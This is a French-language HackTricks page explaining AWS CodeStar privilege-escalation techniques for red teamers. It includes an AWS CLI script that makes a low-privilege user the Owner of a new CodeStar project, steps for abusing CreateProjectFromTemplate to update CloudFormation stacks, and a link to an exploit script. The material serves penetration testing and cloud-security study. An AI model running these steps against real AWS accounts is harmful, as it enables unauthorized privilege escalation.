AWS - Codestar Privesc
Reading time: 4 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Codestar
Vous pouvez trouver plus d'informations sur codestar dans :
codestar:CreateProject, codestar:AssociateTeamMember
iam:PassRole
, codestar:CreateProject
Avec ces permissions, vous pouvez abuser d'un rôle IAM codestar pour effectuer des actions arbitraires via un modèle cloudformation. Consultez la page suivante :
iam:PassRole, codestar:CreateProject
codestar:CreateProject
, codestar:AssociateTeamMember
Cette technique utilise codestar:CreateProject
pour créer un projet codestar, et codestar:AssociateTeamMember
pour faire d'un utilisateur IAM le propriétaire d'un nouveau projet CodeStar, ce qui leur accordera une nouvelle politique avec quelques permissions supplémentaires.
PROJECT_NAME="supercodestar"
aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME
echo "Waiting 1min to start the project"
sleep 60
USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"')
aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
--project-id $PROJECT_NAME \
--user-arn "$USER_ARN" \
--project-role "Owner" \
--remote-access-allowed
Si vous êtes déjà un membre du projet, vous pouvez utiliser la permission codestar:UpdateTeamMember
pour mettre à jour votre rôle en tant que propriétaire au lieu de codestar:AssociateTeamMember
.
Impact potentiel : Privesc à la politique codestar générée. Vous pouvez trouver un exemple de cette politique dans :
codestar:CreateProject, codestar:AssociateTeamMember
codestar:CreateProjectFromTemplate
- Créer un nouveau projet :
- Utilisez l'action
codestar:CreateProjectFromTemplate
pour initier la création d'un nouveau projet. - Après une création réussie, l'accès est automatiquement accordé pour
cloudformation:UpdateStack
. - Cet accès cible spécifiquement une pile associée au rôle IAM
CodeStarWorker-<nom de projet générique>-CloudFormation
.
- Mettre à jour la pile cible :
- Avec les permissions CloudFormation accordées, procédez à la mise à jour de la pile spécifiée.
- Le nom de la pile conformera généralement à l'un des deux modèles :
awscodestar-<nom de projet générique>-infrastructure
awscodestar-<nom de projet générique>-lambda
- Le nom exact dépend du modèle choisi (se référant au script d'exploitation exemple).
- Accès et permissions :
- Après la mise à jour, vous obtenez les capacités assignées au rôle IAM CloudFormation lié à la pile.
- Remarque : Cela ne fournit pas intrinsèquement des privilèges d'administrateur complets. Des ressources mal configurées supplémentaires dans l'environnement pourraient être nécessaires pour élever davantage les privilèges.
Pour plus d'informations, consultez la recherche originale : https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/.
Vous pouvez trouver l'exploitation dans https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py
Impact potentiel : Privesc au rôle IAM cloudformation.
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.